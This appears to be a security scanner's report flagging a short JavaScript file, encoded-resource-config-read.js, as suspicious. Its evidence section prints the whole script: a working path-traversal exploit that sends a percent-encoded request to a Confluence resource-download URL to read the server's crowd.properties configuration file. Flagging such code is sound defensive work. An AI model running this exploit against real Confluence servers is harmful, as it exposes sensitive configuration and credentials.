Suspicious ^80% Download

encoded-resource-config-read.js

Path traversal to sensitive config

Module initialization calls an HTTP clientJavaScript fetch reads response body

SHA-2561390bd4fb253f2d3cdcbbfaa8758867f79079e8588eca63a98caedeb2cb7110f

Evidence

Percent-encoded content decoded lines 1–3

1const base = process.argv[2].replace(/\/$/, '');
2const path = '/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3a%2e%2e%3a%3aWEB-INF%3a%3aclasses%3a%3acrowd.properties';
3fetch(base + path).then(response => response.text()).then(console.log);